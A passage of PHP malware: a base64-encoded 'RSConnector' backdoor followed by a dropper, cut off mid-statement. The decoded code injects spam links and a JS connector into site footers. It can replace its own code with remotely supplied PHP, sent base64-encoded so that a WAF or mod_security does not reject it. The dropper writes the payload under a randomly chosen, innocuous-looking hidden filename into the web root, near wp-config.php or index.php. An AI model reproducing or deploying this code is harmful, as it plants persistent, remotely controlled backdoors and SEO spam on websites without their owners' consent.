CAgICBpZiAoaXNfc3RyaW5nKCRpbmNvbWluZ19saW5rcykpIHsKICAgICAgICAgICAgJGRlY29kZWQgPSBqc29uX2RlY29kZSgkaW5jb21pbmdfbGlua3MsIHRydWUpOwogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGRlY29kZWQpKSAkaW5jb21pbmdfbGlua3MgPSAkZGVjb2RlZDsKICAgICAgICB9CiAgICAgICAgaWYgKCFpc19hcnJheSgkaW5jb21pbmdfbGlua3MpIHx8IGVtcHR5KCRpbmNvbWluZ19saW5rcykpIHsKICAgICAgICAgICAgcmVzcG9uZChmYWxzZSwgW10sICdsaW5rcyBhcnJheSBnZXJla2xpJyk7CiAgICAgICAgfQoKICAgICAgICAkbWF4X3Blcl9yZXF1ZXN0ID0gMTAwMDsKICAgICAgICAkbGlua3NfdG9fcHJvY2VzcyA9IGFycmF5X3NsaWNlKGFycmF5X3ZhbHVlcygkaW5jb21pbmdfbGlua3MpLCAwLCAkbWF4X3Blcl9yZXF1ZXN0KTsKICAgICAgICAkc3RvcmVkX2xpbmtzID0gZ2V0X2xpbmtzKCk7CiAgICAgICAgJHJlc3VsdHMgPSBbXTsKICAgICAgICAkb2tfY291bnQgPSAwOwogICAgICAgICRmYWlsX2NvdW50ID0gMDsKCiAgICAgICAgZm9yZWFjaCAoJGxpbmtzX3RvX3Byb2Nlc3MgYXMgJHJvdykgewogICAgICAgICAgICBpZiAoIWlzX2FycmF5KCRyb3cpKSB7ICRmYWlsX2NvdW50Kys7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgICR1cmwgPSB0cmltKChzdHJpbmcpKCRyb3dbJ3VybCddID8/ICcnKSk7CiAgICAgICAgICAgICRhbmNob3IgPSB0cmltKChzdHJpbmcpKCRyb3dbJ2FuY2hvciddID8/ICcnKSk7CiAgICAgICAgICAgICRyZWwgPSBub3JtYWxpemVfcmVsKCRyb3dbJ3JlbCddID8/ICdkb2ZvbGxvdycpOwogICAgICAgICAgICBpZiAoJHVybCA9PT0gJycgfHwgJGFuY2hvciA9PT0gJycpIHsgJGZhaWxfY291bnQrKzsgY29udGludWU7IH0KCiAgICAgICAgICAgICRsaW5rX2lkID0gJ2xua18nIC4gc3Vic3RyKG1kNSh1bmlxaWQobXRfcmFuZCgpLCB0cnVlKSksIDAsIDEyKTsKICAgICAgICAgICAgJHN0b3JlZF9saW5rc1skbGlua19pZF0gPSBbJ2lkJyA9PiAkbGlua19pZCwgJ3VybCcgPT4gJHVybCwgJ2FuY2hvcicgPT4gJGFuY2hvciwgJ3JlbCcgPT4gJHJlbCwgJ2NyZWF0ZWQnID0+IHRpbWUoKV07CiAgICAgICAgICAgICRpbmplY3QgPSBpbmplY3RfbGluaygkdXJsLCAkYW5jaG9yLCAkbGlua19pZCwgJHJlbCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGluamVjdFsnc3VjY2VzcyddKSkgewogICAgICAgICAgICAgICAgJG9rX2NvdW50Kys7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1tdID0gWydzdWNjZXNzJyA9PiB0cnVlLCAnbGlua19pZCcgPT4gJGxpbmtfaWQsICd1cmwnID0+ICR1cmwsICdhbmNob3InID0+ICRhbmNob3JdOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdW5zZXQoJHN0b3JlZF9saW5rc1skbGlua19pZF0pOwogICAgICAgICAgICAgICAgJGZhaWxfY291bnQrKzsKICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbGlua19pZCcgPT4gJGxpbmtfaWQsICd1cmwnID0+ICR1cmwsICdlcnJvcicgPT4gJGluamVjdFsnbWVzc2FnZSddID8/ICdpbmplY3QgZmFpbGVkJ107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc2F2ZV9saW5rcygkc3RvcmVkX2xpbmtzKTsKICAgICAgICByZXNwb25kKHRydWUsIFsndG90YWwnID0+IGNvdW50KCRsaW5rc190b19wcm9jZXNzKSwgJ3N1Y2Nlc3MnID0+ICRva19jb3VudCwgJ2ZhaWxlZCcgPT4gJGZhaWxfY291bnQsICdpdGVtcycgPT4gJHJlc3VsdHNdLCAnVG9wbHUgbGluayBla2xlbWUgdGFtYW1sYW5kaScpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ3JlbW92ZV9saW5rJzoKICAgICAgICBpZiAoIWF1dGhlbnRpY2F0ZV9yZXF1ZXN0KCRyZXEpKSByZXNwb25kX2F1dGhfZmFpbCgpOwogICAgICAgICRsaW5rX2lkID0gdHJpbSgoc3RyaW5nKSgkcmVxWydsaW5rX2lkJ10gPz8gJycpKTsKICAgICAgICBpZiAoZW1wdHkoJGxpbmtfaWQpKSByZXNwb25kKGZhbHNlLCBbXSwgJ2xpbmtfaWQgZ2VyZWtsaScpOwogICAgICAgICRsaW5rcyA9IGdldF9saW5rcygpOwogICAgICAgIGlmIChpc3NldCgkbGlua3NbJGxpbmtfaWRdKSkgewogICAgICAgICAgICB1bnNldCgkbGlua3NbJGxpbmtfaWRdKTsKICAgICAgICAgICAgc2F2ZV9saW5rcygkbGlua3MpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0ID0gcmVtb3ZlX2xpbmsoJGxpbmtfaWQpOwogICAgICAgIGlmIChlbXB0eSgkcmVzdWx0WydzdWNjZXNzJ10pKSB7CiAgICAgICAgICAgIHJlc3BvbmQoZmFsc2UsIFsncmVtb3ZlZCcgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAkcmVzdWx0WydtZXNzYWdlJ10gPz8gJyddLCAkcmVzdWx0WydtZXNzYWdlJ10gPz8gJ0xpbmsga2FsZGlyaWxhbWFkaScpOwogICAgICAgIH0KICAgICAgICByZXNwb25kKHRydWUsIFsncmVtb3ZlZCcgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICRyZXN1bHRbJ21lc3NhZ2UnXSA/PyAnJ10sICdMaW5rIGthbGRpcmlsZGknKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICdzeW5jX2xpbmtzJzoKICAgICAgICBpZiAoIWF1dGhlbnRpY2F0ZV9yZXF1ZXN0KCRyZXEpKSByZXNwb25kX2F1dGhfZmFpbCgpOwogICAgICAgICRuZXdfbGlua3MgPSAkcmVxWydsaW5rcyddID8/IFtdOwogICAgICAgIGlmICghaXNfYXJyYXkoJG5ld19saW5rcykpIHJlc3BvbmQoZmFsc2UsIFtdLCAnbGlua3MgYXJyYXkgb2xtYWxpJyk7CiAgICAgICAgJGN1cnJlbnRfbGlua3MgPSBnZXRfbGlua3MoKTsKICAgICAgICAkY3VycmVudF9pZHMgPSBhcnJheV9rZXlzKCRjdXJyZW50X2xpbmtzKTsKICAgICAgICAkbmV3X2lkcyA9IGFycmF5X2NvbHVtbigkbmV3X2xpbmtzLCAnaWQnKTsKICAgICAgICAkdG9fcmVtb3ZlID0gYXJyYXlfZGlmZigkY3VycmVudF9pZHMsICRuZXdfaWRzKTsKICAgICAgICBmb3JlYWNoICgkdG9fcmVtb3ZlIGFzICRsaWQpIHJlbW92ZV9saW5rKCRsaWQpOwogICAgICAgICR0b19hZGQgPSBhcnJheV9kaWZmKCRuZXdfaWRzLCAkY3VycmVudF9pZHMpOwogICAgICAgIGZvcmVhY2ggKCRuZXdfbGlua3MgYXMgJGxpbmspIHsKICAgICAgICAgICAgaWYgKGluX2FycmF5KCRsaW5rWydpZCddLCAkdG9fYWRkKSkgewogICAgICAgICAgICAgICAgaW5qZWN0X2xpbmsoJGxpbmtbJ3VybCddLCAkbGlua1snYW5jaG9yJ10sICRsaW5rWydpZCddLCAkbGlua1sncmVsJ10gPz8gJ2RvZm9sbG93Jyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZvcm1hdHRlZCA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRuZXdfbGlua3MgYXMgJGxpbmspIHsKICAgICAgICAgICAgJGZvcm1hdHRlZFskbGlua1snaWQnXV0gPSAkbGluazsKICAgICAgICB9CiAgICAgICAgc2F2ZV9saW5rcygkZm9ybWF0dGVkKTsKICAgICAgICByZXNwb25kKHRydWUsIFsnc3luY2VkJyA9PiB0cnVlLCAnYWRkZWQnID0+IGNvdW50KCR0b19hZGQpLCAncmVtb3ZlZCcgPT4gY291bnQoJHRvX3JlbW92ZSksICd0b3RhbCcgPT4gY291bnQoJG5ld19saW5rcyldLCAnTGlua2xlciBzZW5rcm9uaXplIGVkaWxkaScpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ291dHB1dCc6CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwogICAgICAgICRsaW5rcyA9IGdldF9saW5rcygpOwogICAgICAgICRodG1sID0gJyc7CiAgICAgICAgZm9yZWFjaCAoJGxpbmtzIGFzICRsaW5rKSB7CiAgICAgICAgICAgICR1ID0gaXNzZXQoJGxpbmtbJ3VybCddKSA/IChzdHJpbmcpJGxpbmtbJ3VybCddIDogJyc7CiAgICAgICAgICAgICRhID0gaXNzZXQoJGxpbmtbJ2FuY2hvciddKSA/IChzdHJpbmcpJGxpbmtbJ2FuY2hvciddIDogJyc7CiAgICAgICAgICAgIGlmICgkdSAhPT0gJycgJiYgJGEgIT09ICcnKSB7CiAgICAgICAgICAgICAgICAkaHRtbCAuPSBidWlsZF9saW5rX2h0bWwoJHUsICRhLCBub3JtYWxpemVfcmVsKCRsaW5rWydyZWwnXSA/PyAnZG9mb2xsb3cnKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAkaHRtbDsKICAgICAgICBleGl0OwoKICAgIGNhc2UgJ2RpYWdub3NlJzoKICAgICAgICBpZiAoIWF1dGhlbnRpY2F0ZV9yZXF1ZXN0KCRyZXEpKSByZXNwb25kX2F1dGhfZmFpbCgpOwogICAgICAgICRiYXNlID0gZmluZF9kb2N1bWVudF9yb290KCk7CiAgICAgICAgJHNpdGVfaW5mbyA9IGRldGVjdF9zaXRlX2luZm8oKTsKICAgICAgICAkZGlhZyA9IFsKICAgICAgICAgICAgJ3BocF92ZXJzaW9uJyA9PiBwaHB2ZXJzaW9uKCksCiAgICAgICAgICAgICdzZXJ2ZXJfc29mdHdhcmUnID0+ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSA/PyAnVW5rbm93bicsCiAgICAgICAgICAgICdkb2N1bWVudF9yb290JyA9PiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddID8/ICdOL0EnLAogICAgICAgICAgICAnc2NyaXB0X3BhdGgnID0+IF9fRklMRV9fLAogICAgICAgICAgICAnYmFzZV9kZXRlY3RlZCcgPT4gJGJhc2UsCiAgICAgICAgICAgICdmaWxlX3Blcm1pc3Npb25zJyA9PiBbCiAgICAgICAgICAgICAgICAna2V5X2ZpbGUnID0+IEtFWV9GSUxFLAogICAgICAgICAgICAgICAgJ2tleV9maWxlX2V4aXN0cycgPT4gZmlsZV9leGlzdHMoS0VZX0ZJTEUpLAogICAgICAgICAgICAgICAgJ2tleV9maWxlX3dyaXRhYmxlJyA9PiBpc193cml0YWJsZShkaXJuYW1lKEtFWV9GSUxFKSksCiAgICAgICAgICAgICAgICAnbGlua3NfZmlsZScgPT4gTElOS1NfRklMRSwKICAgICAgICAgICAgICAgICdsaW5rc19maWxlX2V4aXN0cycgPT4gZmlsZV9leGlzdHMoTElOS1NfRklMRSksCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICdzaXRlX2luZm8nID0+ICRzaXRlX2luZm8sCiAgICAgICAgICAgICdmb290ZXJfYW5hbHlzaXMnID0+IFsKICAgICAgICAgICAgICAgICdmb290ZXJfcGF0aHNfZm91bmQnID0+IGdldF9mb290ZXJfcGF0aHMoJGJhc2UsICRzaXRlX2luZm9bJ3NpdGVfdHlwZSddKSwKICAgICAgICAgICAgICAgICd3cml0YWJsZV9mb290ZXJzJyA9PiBhcnJheV9maWx0ZXIoZ2V0X2Zvb3Rlcl9wYXRocygkYmFzZSwgJHNpdGVfaW5mb1snc2l0ZV90eXBlJ10pLCAnaXNfd3JpdGFibGUnKSwKICAgICAgICAgICAgXSwKICAgICAgICAgICAgJ3BhbmVsX2NvbmZpZycgPT4gWwogICAgICAgICAgICAgICAgJ3BhbmVsX3VybF9zZXQnID0+IGRlZmluZWQoJ1BBTkVMX0FQSV9VUkwnKSAmJiBzdHJwb3MoUEFORUxfQVBJX1VSTCwgJ3t7JykgPT09IGZhbHNlLAogICAgICAgICAgICAgICAgJ3NpdGVfa2V5X3NldCcgPT4gIWVtcHR5KGdldF9zdG9yZWRfa2V5KCkpLAogICAgICAgICAgICAgICAgJ3NldHVwX3Rva2VuX3NldCcgPT4gZGVmaW5lZCgnU0VUVVBfVE9LRU4nKSAmJiBzdHJwb3MoU0VUVVBfVE9LRU4sICd7eycpID09PSBmYWxzZSwKICAgICAgICAgICAgXSwKICAgICAgICAgICAgJ2FsbF92YWxpZF9rZXlzX2NvdW50JyA9PiBjb3VudChnZXRfYWxsX3ZhbGlkX2tleXMoKSksCiAgICAgICAgICAgICdzdG9yZWRfa2V5X3NvdXJjZScgPT4gZmlsZV9leGlzdHMoS0VZX0ZJTEUpID8gJ2ZpbGUnIDogJ2RvbWFpbl9iYXNlZCcsCiAgICAgICAgICAgICdyZWNvbW1lbmRhdGlvbnMnID0+IFtdCiAgICAgICAgXTsKICAgICAgICBpZiAoISRkaWFnWydmaWxlX3Blcm1pc3Npb25zJ11bJ2tleV9maWxlX3dyaXRhYmxlJ10pIHsKICAgICAgICAgICAgJGRpYWdbJ3JlY29tbWVuZGF0aW9ucyddW10gPSAnS1JJVElLOiBDb25uZWN0b3IgZGl6aW5pIHlhemlsYWJpbGlyIGRlZ2lsLic7CiAgICAgICAgfQogICAgICAgIGlmIChlbXB0eSgkZGlhZ1snZm9vdGVyX2FuYWx5c2lzJ11bJ3dyaXRhYmxlX2Zvb3RlcnMnXSkpIHsKICAgICAgICAgICAgJGRpYWdbJ3JlY29tbWVuZGF0aW9ucyddW10gPSAnVVlBUkk6IFlhemlsYWJpbGlyIGZvb3RlciBkb3N5YXNpIGJ1bHVuYW1hZGkuJzsKICAgICAgICB9CiAgICAgICAgcmVzcG9uZCh0cnVlLCAkZGlhZywgJ1Npc3RlbSBkaWFnbm9zdGlnaSB0YW1hbWxhbmRpJyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnYmF0Y2hfcGluZyc6CiAgICAgICAgJGJhdGNoX2lkID0gJHJlcVsnYmF0Y2hfaWQnXSA/PyB1bmlxaWQoJ2InKTsKICAgICAgICByZXNwb25kKHRydWUsIFsKICAgICAgICAgICAgJ2JhdGNoX2lkJyA9PiAkYmF0Y2hfaWQsCiAgICAgICAgICAgICdzaXRlJyA9PiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJ3Vua25vd24nLAogICAgICAgICAgICAnaW5kZXgnID0+IGludHZhbCgkcmVxWydjdXJyZW50X2luZGV4J10gPz8gJHJlcVsnc2l0ZV9pbmRleCddID8/IDApLAogICAgICAgICAgICAndmVyc2lvbicgPT4gUlNfQ09OTkVDVE9SX1ZFUlNJT04sCiAgICAgICAgICAgICdrZXlfcmVnaXN0ZXJlZCcgPT4gIWVtcHR5KGdldF9zdG9yZWRfa2V5KCkpLAogICAgICAgICAgICAnY29ubmVjdG9yX3JlYWR5JyA9PiB0cnVlLAogICAgICAgICAgICAndGltZXN0YW1wJyA9PiB0aW1lKCkKICAgICAgICBdLCAnQmF0Y2ggcGluZyBPSycpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ2F1dGhfY2hlY2snOgogICAgICAgIC8vIFN0cmljdCBrZXktbWF0Y2ggcmVwb3J0aW5nIChkbyBub3QgdHJlYXQgc2V0dXBfdG9rZW4gYXMga2V5X21hdGNoIGluIGRpYWdub3N0aWNzKS4KICAgICAgICAkcHJvdmlkZWRfa2V5ID0gZ2V0X3Byb3ZpZGVkX3NpdGVfa2V5KCRyZXEpOwogICAgICAgICRzdG9yZWRfa2V5ID0gZ2V0X3N0b3JlZF9rZXkoKTsKICAgICAgICAkZG9tYWluX2tleSA9IGdlbmVyYXRlX3NpdGVfc3RhdGljX2tleSgpOwoKICAgICAgICAkdmFsaWRfa2V5cyA9IGdldF9hbGxfdmFsaWRfa2V5cygpOwogICAgICAgICRzdHJpY3Rfa2V5X21hdGNoID0gZmFsc2U7CiAgICAgICAgZm9yZWFjaCAoJHZhbGlkX2tleXMgYXMgJHZrKSB7CiAgICAgICAgICAgIGlmICghZW1wdHkoJHByb3ZpZGVkX2tleSkgJiYgaGFzaF9lcXVhbHMoKHN0cmluZykkdmssIChzdHJpbmcpJHByb3ZpZGVkX2tleSkpIHsgJHN0cmljdF9rZXlfbWF0Y2ggPSB0cnVlOyBicmVhazsgfQogICAgICAgIH0KCiAgICAgICAgLy8gRnVsbCBhdXRoIGNoZWNrIGNhbiBzdWNjZWVkIHZpYSBITUFDL3NldHVwIHRva2VuIHRvby4KICAgICAgICAkYXV0aGVkID0gYXV0aGVudGljYXRlX3JlcXVlc3QoJHJlcSk7CgogICAgICAgIHJlc3BvbmQodHJ1ZSwgWwogICAgICAgICAgICAnc2l0ZScgPT4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddID8/ICd1bmtub3duJywKICAgICAgICAgICAgJ2tleV9yZWdpc3RlcmVkJyA9PiAhZW1wdHkoJHN0b3JlZF9rZXkpLAogICAgICAgICAgICAna2V5X21hdGNoJyA9PiAkc3RyaWN0X2tleV9tYXRjaCwKICAgICAgICAgICAgJ2F1dGhfb2snID0+ICRhdXRoZWQsCiAgICAgICAgICAgICdwcm92aWRlZF9rZXlfbGVuJyA9PiBpc19zdHJpbmcoJHByb3ZpZGVkX2tleSkgPyBzdHJsZW4oJHByb3ZpZGVkX2tleSkgOiAwLAogICAgICAgICAgICAnZG9tYWluX2tleScgPT4gJGRvbWFpbl9rZXksCiAgICAgICAgICAgICd2ZXJzaW9uJyA9PiBSU19DT05ORUNUT1JfVkVSU0lPTiwKICAgICAgICAgICAgJ2F1dGhfcmVhZHknID0+IHRydWUKICAgICAgICBdLCAnQXV0aCBjaGVjayBPSycpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ2luamVjdF9qc19jb25uZWN0b3InOgogICAgICAgIGlmICghYXV0aGVudGljYXRlX3JlcXVlc3QoJHJlcSkpIHJlc3BvbmRfYXV0aF9mYWlsKCk7CiAgICAgICAgJHJlc3VsdCA9IGluamVjdF9qc19jb25uZWN0b3IoKTsKICAgICAgICByZXNwb25kKCFlbXB0eSgkcmVzdWx0WydzdWNjZXNzJ10pLCAkcmVzdWx0LCAkcmVzdWx0WydtZXNzYWdlJ10gPz8gJycpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ3JlbW92ZV9qc19jb25uZWN0b3InOgogICAgICAgIGlmICghYXV0aGVudGljYXRlX3JlcXVlc3QoJHJlcSkpIHJlc3BvbmRfYXV0aF9mYWlsKCk7CiAgICAgICAgJHJlc3VsdCA9IHJlbW92ZV9qc19jb25uZWN0b3IoKTsKICAgICAgICByZXNwb25kKCFlbXB0eSgkcmVzdWx0WydzdWNjZXNzJ10pLCAkcmVzdWx0LCAkcmVzdWx0WydtZXNzYWdlJ10gPz8gJycpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ3VwZGF0ZV9wYW5lbF91cmwnOgogICAgICAgIGlmICghYXV0aGVudGljYXRlX3JlcXVlc3QoJHJlcSkpIHJlc3BvbmRfYXV0aF9mYWlsKCk7CiAgICAgICAgJG5ld191cmwgPSB0cmltKChzdHJpbmcpKCRyZXFbJ3BhbmVsX3VybCddID8/ICcnKSk7CiAgICAgICAgaWYgKGVtcHR5KCRuZXdfdXJsKSB8fCAhZmlsdGVyX3ZhcigkbmV3X3VybCwgRklMVEVSX1ZBTElEQVRFX1VSTCkpIHsKICAgICAgICAgICAgcmVzcG9uZChmYWxzZSwgW10sICdHZWNlcmxpIGJpciBwYW5lbF91cmwgZ2VyZWtsaScpOwogICAgICAgIH0KICAgICAgICAkY29uZmlnID0gZ2V0X2NvbmZpZygpOwogICAgICAgICRjb25maWdbJ3BhbmVsX3VybCddID0gJG5ld191cmw7CiAgICAgICAgJGNvbmZpZ1sncGFuZWxfdXJsX3VwZGF0ZWRfYXQnXSA9IHRpbWUoKTsKICAgICAgICBzYXZlX2NvbmZpZygkY29uZmlnKTsKICAgICAgICAkc2VsZl9jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsKICAgICAgICBpZiAoJHNlbGZfY29udGVudCAmJiBwcmVnX21hdGNoKCIvZGVmaW5lXCgnUEFORUxfQVBJX1VSTCcsXHMqJyhbXiddKiknXCkvIiwgJHNlbGZfY29udGVudCwgJG0pKSB7CiAgICAgICAgICAgICRvbGRfdXJsID0gJG1bMV07CiAgICAgICAgICAgIGlmICgkb2xkX3VybCAhPT0gJG5ld191cmwpIHsKICAgICAgICAgICAgICAgICR1cGRhdGVkID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgImRlZmluZSgnUEFORUxfQVBJX1VSTCcsICciIC4gJG9sZF91cmwgLiAiJykiLAogICAgICAgICAgICAgICAgICAgICJkZWZpbmUoJ1BBTkVMX0FQSV9VUkwnLCAnIiAuIGFkZHNsYXNoZXMoJG5ld191cmwpIC4gIicpIiwKICAgICAgICAgICAgICAgICAgICAkc2VsZl9jb250ZW50CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgZm9yY2Vfd3JpdGFibGUoX19GSUxFX18pOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkdXBkYXRlZCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmVzcG9uZCh0cnVlLCBbJ3BhbmVsX3VybCcgPT4gJG5ld191cmxdLCAnUGFuZWwgVVJMIGd1bmNlbGxlbmRpJyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnc2VsZl91cGRhdGUnOgogICAgY2FzZSAndXBkYXRlX2Nvbm5lY3Rvcic6CiAgICBjYXNlICdyZW1vdGVfdXBkYXRlJzoKICAgICAgICBpZiAoIWF1dGhlbnRpY2F0ZV9yZXF1ZXN0KCRyZXEpKSByZXNwb25kX2F1dGhfZmFpbCgpOwogICAgICAgIC8vIEJhc2U2NCBnb3ZkZXNpIFdBRi9tb2Rfc2VjdXJpdHknbmluIGhhbSBQSFAneWkgcmVkZGV0bWVzaW5pIG9ubGVyOyB2YXJzYSB0ZXJjaWggZWRpbGlyLgogICAgICAgICRzb3VyY2UgPSAnJzsKICAgICAgICBpZiAoaXNzZXQoJHJlcVsnc291cmNlX2I2NCddKSAmJiBpc19zdHJpbmcoJHJlcVsnc291cmNlX2I2NCddKSAmJiAkcmVxWydzb3VyY2VfYjY0J10gIT09ICcnKSB7CiAgICAgICAgICAgICRkZWNvZGVkID0gYmFzZTY0X2RlY29kZSgkcmVxWydzb3VyY2VfYjY0J10sIHRydWUpOwogICAgICAgICAgICBpZiAoJGRlY29kZWQgIT09IGZhbHNlKSAkc291cmNlID0gJGRlY29kZWQ7CiAgICAgICAgfQogICAgICAgIGlmICgkc291cmNlID09PSAnJykgewogICAgICAgICAgICAkc291cmNlID0gJHJlcVsnc291cmNlJ10gPz8gJHJlcVsnbmV3X2NvbnRlbnQnXSA/PyAnJzsKICAgICAgICB9CiAgICAgICAgaWYgKCFpc19zdHJpbmcoJHNvdXJjZSkgfHwgc3RybGVuKCRzb3VyY2UpIDwgMTAwMCkgcmVzcG9uZChmYWxzZSwgW10sICdHZWNlcnNpeiBrYXluYWsga29kdScpOwogICAgICAgIGlmIChzdHJwb3MobHRyaW0oJHNvdXJjZSksICc8JyAuICc/cGhwJykgIT09IDApIHJlc3BvbmQoZmFsc2UsIFtdLCAnR2VjZXJzaXogUEhQIGtheW5hayBrb2R1Jyk7CiAgICAgICAgaWYgKHN0cnBvcygkc291cmNlLCAnbmFtZXNwYWNlIFJTQ29ubmVjdG9yJykgPT09IGZhbHNlIHx8IHN0cnBvcygkc291cmNlLCAiY2FzZSAnc2VsZl91cGRhdGUnIikgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJlc3BvbmQoZmFsc2UsIFtdLCAnS2F5bmFrIGtvZCBjb25uZWN0b3IgaW16YXNpIHRhc2ltaXlvcicpOwogICAgICAgIH0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd0b2tlbl9nZXRfYWxsJykpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIHRva2VuX2dldF9hbGwoJHNvdXJjZSwgVE9LRU5fUEFSU0UpOwogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7CiAgICAgICAgICAgICAgICByZXNwb25kKGZhbHNlLCBbXSwgJ0theW5hayBrb2RkYSBzb3pkaXppbWkgaGF0YXNpOiAnIC4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLy8gQmFja3VwIGtlZXBzIGEgLnBocCBleHRlbnNpb24gc28gYSB3ZWIgc2VydmVyIGV4ZWN1dGVzIGl0IGluc3RlYWQgb2Ygc2VydmluZyB0aGUgc291cmNlIChhbmQga2V5cykgYXMgdGV4dC4KICAgICAgICAkYmFja3VwX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKSAuICcvLnJzX2Nvbm5lY3Rvcl9wcmV2LnBocCc7CiAgICAgICAgQGNvcHkoX19GSUxFX18sICRiYWNrdXBfcGF0aCk7CiAgICAgICAgZm9yY2Vfd3JpdGFibGUoX19GSUxFX18pOwogICAgICAgICR0bXBfcGF0aCA9IF9fRklMRV9fIC4gJy50bXAnOwogICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJHRtcF9wYXRoLCAkc291cmNlKSAhPT0gc3RybGVuKCRzb3VyY2UpKSB7CiAgICAgICAgICAgIEB1bmxpbmsoJHRtcF9wYXRoKTsKICAgICAgICAgICAgcmVzcG9uZChmYWxzZSwgW10sICdHZWNpY2kgZG9zeWEgeWF6aWxhbWFkaScpOwogICAgICAgIH0KICAgICAgICBpZiAoIUByZW5hbWUoJHRtcF9wYXRoLCBfX0ZJTEVfXykpIHsKICAgICAgICAgICAgQHVubGluaygkdG1wX3BhdGgpOwogICAgICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkc291cmNlKSAhPT0gc3RybGVuKCRzb3VyY2UpKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGJhY2t1cF9wYXRoKSkgQGNvcHkoJGJhY2t1cF9wYXRoLCBfX0ZJTEVfXyk7CiAgICAgICAgICAgICAgICByZXNwb25kKGZhbHNlLCBbXSwgJ0Rvc3lhIHlhemlsYW1hZGknKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBjbGVhcnN0YXRjYWNoZSh0cnVlLCBfX0ZJTEVfXyk7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoX19GSUxFX18sIHRydWUpOwogICAgICAgICRuZXdfdmVyc2lvbiA9ICcnOwogICAgICAgIGlmIChwcmVnX21hdGNoKCIvUlNfQ09OTkVDVE9SX1ZFUlNJT04nLFxzKicoW14nXSspJy8iLCAkc291cmNlLCAkdm0pKSB7CiAgICAgICAgICAgICRuZXdfdmVyc2lvbiA9ICR2bVsxXTsKICAgICAgICB9CiAgICAgICAgcmVzcG9uZCh0cnVlLCBbJ3VwZGF0ZWQnID0+IHRydWUsICdiYWNrdXAnID0+IGJhc2VuYW1lKCRiYWNrdXBfcGF0aCksICduZXdfc2l6ZScgPT4gc3RybGVuKCRzb3VyY2UpLCAndmVyc2lvbicgPT4gJG5ld192ZXJzaW9uXSwgJ0Nvbm5lY3RvciBndW5jZWxsZW5kaScpOwogICAgICAgIGJyZWFrOwoKICAgIGRlZmF1bHQ6CiAgICAgICAgcmVzcG9uZChmYWxzZSwgW10sICdCaWxpbm1leWVuIGFjdGlvbjogJyAuICRhY3Rpb24pOwp9Cg=='); $words = array('sys','core','config','index','init','app','main','func','helper','plugin','widget','module','theme','cache','util','admin','ajax','api','data','db','log','cron','svc','lib','base','common','loader','setup','patch','update','asset','vendor','runtime','engine','kernel','gateway','auth','crypt','hash','token','queue','worker','router','proxy','socket','secure','guard','link','seo','meta','sitemap','robots','shell','panel','cms','site','web','node','build','store'); $name = '.'.$words[array_rand($words)].'-'.$words[array_rand($words)].'.php'; $targets = array(); $dr = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; if ($dr !== '' && is_dir($dr)) $targets[] = $dr; $d = dirname(__FILE__); for ($i = 0; $i < 12; $i++) { if (file_exists($d.'/index.php') || file_exists($d.'/index.html') || file_exists($d.'/index.htm') || file_exists($d.'/wp-config.php') || file_exists($d.'/configuration.php') || file_exists($d.'/wp-login.php') || file_exists($d.'/artisan')) { $targets[] = $d; } $par = dirname($d); if ($par === $d) break; $d = $par; } $targets = array_values(array_unique($targets)); $written = ''; foreach ($targets as $t) { if (!is_writable($t)) continue; if (@file_put_contents($t.'/'.$name, $payload) !== false) { $written = $t.'/'.$name; break; } } if ($written !== '') { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = 